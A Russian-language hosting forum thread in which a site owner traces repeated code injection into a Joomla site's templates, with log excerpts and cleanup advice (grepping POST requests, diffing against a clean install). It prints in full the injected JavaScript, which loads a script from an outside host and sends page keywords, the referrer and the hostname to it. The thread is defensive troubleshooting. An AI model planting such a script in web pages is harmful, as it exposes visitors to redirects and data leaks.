Мы используем cookie-файлы
Для оптимизации работы нашего сайта мы используем cookie-файлы. Продолжая использовать сайт, Вы соглашаетесь с использованием cookie-файлов.
  • UAH
  • USD
  • RUB
  • EUR
  • +38(044) 392-74-33  Киев
  • +38(057) 728-39-00  Харьков
  • +38(056) 794-38-31  Днепр
  • +38(032) 229-58-93  Львов
  • +38(048) 738-57-70  Одесса
  • +38(093) 170-15-42  Life
  • +38(067) 400-88-44  Киевстар
  • +38(095) 630-90-82  MTC
  • +1(888)393-24-51  USA, Toll free
  • +44(131)507-01-14  Great Britain
  • +7(499) 348-28-61  Москва

VPS. Как по логам apache/nginx найти "дырку"/Shell на сайте, через которую постоянно модифицируют файлы? Дата фалов остается неизменной.

Форумы VPS Как по логам apache/nginx найти "дырку"/Shell на сайте, через которую постоянно модифицируют файлы? Дата фалов остается неизменной.
toxi
30.06.2016
хостинг: есть
домен: есть
Как по логам apache/nginx найти "дырку"/Shell на сайте, через которую постоянно модифицируют файлы? Дата фалов остается неизменной.
Добрый день.
Как по логам apache/nginx найти "дырку"/Shell на сайте, через которую постоянно модифицируют файлы шаблона index.php?
Дата фалов остается неизменной, уже проверял.
Сайт работает на Joomla. Версия была 3.2.х - обновил до 3.5.1 с заменой всех файлов движка и самописного шаблона. Шаблон писал сам. Вчера все файлы восстановил, пароли на ФПТ и админку сайта поменял. Сегодня с утра обнаруживаю снова этот же код во всех шаблонах, даже те, что не используются сайтом. Другие сайты на Joomla работают без проблем в других папках.

Добавляется код такого содержания до тега </head> и адрес сайта всегда разный:
<script>var a='';setTimeout(10);if(document.referrer.indexOf(location.protocol+"//"+location.host)!==0||document.referrer!==undefined||document.referrer!==''||document.referrer!==null){document.write('<script type="text/javascript" src="http://ktm-pohlenz.de/js/jquery.min.php?c_utt=SWBB8&c_utm='+encodeURIComponent('http://ktm-pohlenz.de/js/jquery.min.php'+'?'+'default_keyword='+encodeURIComponent(((k=(function(){var keywords='';var metas=document.getElementsByTagName('meta');if(metas){for(var x=0,y=metas.length;x<y;x++){if(metas[x].name.toLowerCase()=="keywords"){keywords+=metas[x].content;}}}return keywords!==''?keywords:null;})())==null?(v=window.location.search.match(/utm_term=([^&]+)/))==null?(t=document.title)==null?'':t:v[1]:k))+'&se_referrer='+encodeURIComponent(document.referrer)+'&source='+encodeURIComponent(window.location.host))+'"><'+'/script>');}</script>

На просторах Интернета нашел подсказку, хоть и не совсем по-стандартам - удалить закрывающий тег </head> и робот-вирус не сможет найти закрывающий тег и соответственно прописать вредоносный код.

В логах error.log от Апача часто нахожу такие записи:
[Thu Jun 30 01:09:27 2016] [error] [client 95.108.129.196] PHP Strict Standards:  Only variables should be assigned by reference in /home/sites/ccs.zt.ua/www/modules/mod_jt_bxslider_images/mod_jt_bxslider_images.php on line 15
[Thu Jun 30 01:09:27 2016] [error] [client 95.108.129.196] PHP Notice:  Undefined variable: jt_ticker in /home/sites/ccs.zt.ua/www/modules/mod_jt_bxslider_images/tmpl/default.php on line 41
[Thu Jun 30 01:09:27 2016] [error] [client 95.108.129.196] PHP Notice:  Undefined variable: jt_ticker_hover in /home/sites/ccs.zt.ua/www/modules/mod_jt_bxslider_images/tmpl/default.php on line 42
[Thu Jun 30 01:09:27 2016] [error] [client 95.108.129.196] PHP Notice:  Use of undefined constant MOD_JT - assumed 'MOD_JT' in /home/sites/ccs.zt.ua/www/modules/mod_jt_bxslider_images/mod_jt_bxslider_images.php on line 83
[Thu Jun 30 01:09:27 2016] [error] [client 95.108.129.196] PHP Strict Standards:  Only variables should be assigned by reference in /home/sites/ccs.zt.ua/www/modules/mod_jt_bxslider_images/mod_jt_bxslider_images.php on line 15
[Thu Jun 30 01:09:27 2016] [error] [client 95.108.129.196] PHP Notice:  Undefined variable: jt_ticker in /home/sites/ccs.zt.ua/www/modules/mod_jt_bxslider_images/tmpl/default.php on line 41
[Thu Jun 30 01:09:27 2016] [error] [client 95.108.129.196] PHP Notice:  Undefined variable: jt_ticker_hover in /home/sites/ccs.zt.ua/www/modules/mod_jt_bxslider_images/tmpl/default.php on line 42
[Thu Jun 30 01:09:27 2016] [error] [client 95.108.129.196] PHP Notice:  Use of undefined constant MOD_JT - assumed 'MOD_JT' in /home/sites/ccs.zt.ua/www/modules/mod_jt_bxslider_images/mod_jt_bxslider_images.php on line 83

...............

[Thu Jun 30 01:10:01 2016] [error] [client 193.107.74.135] PHP Strict Standards:  Declaration of JCacheControllerView::get() should be compatible with JCacheController::get($id, $group = NULL) in /home/sites/domzdorovya.net/www/libraries/joomla/cache/controller/view.php on line 137
[Thu Jun 30 01:15:03 2016] [error] [client 193.107.74.135] PHP Strict Standards:  Declaration of JCacheControllerView::get() should be compatible with JCacheController::get($id, $group = NULL) in /home/sites/domzdorovya.net/www/libraries/joomla/cache/controller/view.php on line 137
[Thu Jun 30 01:20:02 2016] [error] [client 193.107.74.135] PHP Strict Standards:  Declaration of JCacheControllerView::get() should be compatible with JCacheController::get($id, $group = NULL) in /home/sites/domzdorovya.net/www/libraries/joomla/cache/controller/view.php on line 137
[Thu Jun 30 01:25:02 2016] [error] [client 193.107.74.135] PHP Strict Standards:  Declaration of JCacheControllerView::get() should be compatible with JCacheController::get($id, $group = NULL) in /home/sites/domzdorovya.net/www/libraries/joomla/cache/controller/view.php on line 137
[Thu Jun 30 01:30:02 2016] [error] [client 193.107.74.135] PHP Strict Standards:  Declaration of JCacheControllerView::get() should be compatible with JCacheController::get($id, $group = NULL) in /home/sites/domzdorovya.net/www/libraries/joomla/cache/controller/view.php on line 137
[Thu Jun 30 01:35:02 2016] [error] [client 193.107.74.135] PHP Strict Standards:  Declaration of JCacheControllerView::get() should be compatible with JCacheController::get($id, $group = NULL) in /home/sites/domzdorovya.net/www/libraries/joomla/cache/controller/view.php on line 137
[Thu Jun 30 01:40:01 2016] [error] [client 193.107.74.135] PHP Strict Standards:  Declaration of JCacheControllerView::get() should be compatible with JCacheController::get($id, $group = NULL) in /home/sites/domzdorovya.net/www/libraries/joomla/cache/controller/view.php on line 137
[Thu Jun 30 01:45:01 2016] [error] [client 193.107.74.135] PHP Strict Standards:  Declaration of JCacheControllerView::get() should be compatible with JCacheController::get($id, $group = NULL) in /home/sites/domzdorovya.net/www/libraries/joomla/cache/controller/view.php on line 137
[Thu Jun 30 01:45:32 2016] [error] [client 151.80.31.105] File does not exist: /home/sites/ccs.zt.ua/www/robots.txt

............

[Thu Jun 30 02:49:19 2016] [error] [client 176.116.218.96] script '/home/ntu-net-ua/support/logo_img.php' not found or unable to stat
[Thu Jun 30 02:49:19 2016] [error] [client 176.116.218.96] script '/home/ntu-net-ua/dealer/logo_img.php' not found or unable to stat
[Thu Jun 30 02:49:19 2016] [error] [client 176.116.218.96] script '/home/sites/ntu.net.ua/dealer/logo_img.php' not found or unable to stat
[Thu Jun 30 02:49:19 2016] [error] [client 176.116.218.96] script '/home/sites/ccs.zt.ua/mail/logo_img.php' not found or unable to stat
[Thu Jun 30 02:49:19 2016] [error] [client 192.168.77.100] script '/home/sites/ccs.zt.ua/report/logo_img.php' not found or unable to stat
[Thu Jun 30 02:49:19 2016] [error] [client 192.168.77.100] script '/home/sites/ccs.zt.ua/report/logo_img.php' not found or unable to stat
[Thu Jun 30 02:49:23 2016] [error] [client 176.116.218.96] script '/home/sites/ntsk.kz/mail/logo_img.php' not found or unable to stat
[Thu Jun 30 02:49:25 2016] [error] [client 176.116.218.96] script '/home/sites/ntu.net.ua/mail/logo_img.php' not found or unable to stat
[Thu Jun 30 02:49:28 2016] [error] [client 176.116.218.96] script '/home/ntu-net-ua/dealer/logo_img.php' not found or unable to stat
[Thu Jun 30 02:49:28 2016] [error] [client 176.116.218.96] script '/home/sites/ntu.net.ua/dev/logo_img.php' not found or unable to stat
[Thu Jun 30 02:49:28 2016] [error] [client 176.116.218.96] script '/home/sites/ntu.net.ua/dotproject/logo_img.php' not found or unable to stat


У меня никогда не было файла logo_img.php ни на одном из сайтов.
Домен domzdorovya.net давно уже не работает, но робот-вирус опрашивает файлы.
ZimbalisT
30.06.2016
хостинг: есть
домен: есть
Добавление кода - это вероятно результат работы другого вредоносного файла.

Вот хорошая статься по алгоритму поиска Как узнать, что ваш PHP сайт был взломан / Хабрахабр
eugen
30.06.2016
хостинг: есть
домен: есть
Обычно в первую очередь имеет смысл смотреть на POST запросы, например так:

grep POST access.log | awk '{print $7}' | sort | uniq -c | sort -rn | head


Это в 99% случаев даст результат, если сайт заражается через дырку в самом сайте. Если ничего подозрительного не покажет, возможно на самом vps есть троян или бэкдор.
toxi
30.06.2016
хостинг: есть
домен: есть
Это в 99% случаев даст результат, если сайт заражается через дырку в самом сайте. Если ничего подозрительного не покажет, возможно на самом vps есть троян или бэкдор. © eugen

Спасибо. Воспользовался командой: diff -r ./_jos/ www/ которая показала различия чистой оригинальной Джумлы с той, которая заражена.
Нашел несколько php-файлов в тех местах, в которых их не должно быть, а так же нашел два файла, которые содержат eval, POST, GET, и зашифрованный код. Удалил все найденные файлы. Посмотрим, как сайт будет вести себя дальше :)

По поводу зараженности сервера, думаю, что все сайты заразились бы. В моем случае заражен был только один сайт из 5, который крутится на сервере :)
ZimbalisT
30.06.2016
хостинг: есть
домен: есть
Можно было еще посмотреть даты и время изменения зараженных файлов и проверить какие POST запросы в это время отправлялись к сайту чтобы понять, как вирус проникает на сайт.
toxi
30.06.2016
хостинг: есть
домен: есть
У меня есть бекап зараженного сайта дома. Проверю. А по поводу POST-запросов, в логах не указаны передаваемые данные, светится только файл, который принимает данные. А еще обнаружил Perl-скрипт, который подключается к сокету и работает как Демон принимая и выполняя код злоумышленников, насколько я понял из структуры файла. Маскируется он под css файл ) Но я его вручную запустил, то он не сработал, просто выдал код скрипта в браузер.
Участвовать в общении на этом форуме могут только
зарегистрированные пользователи.

Если вы уже зарегистрированы Вам необходимо войти на форум.

Горячая линия
(044)
392 74 33
другие города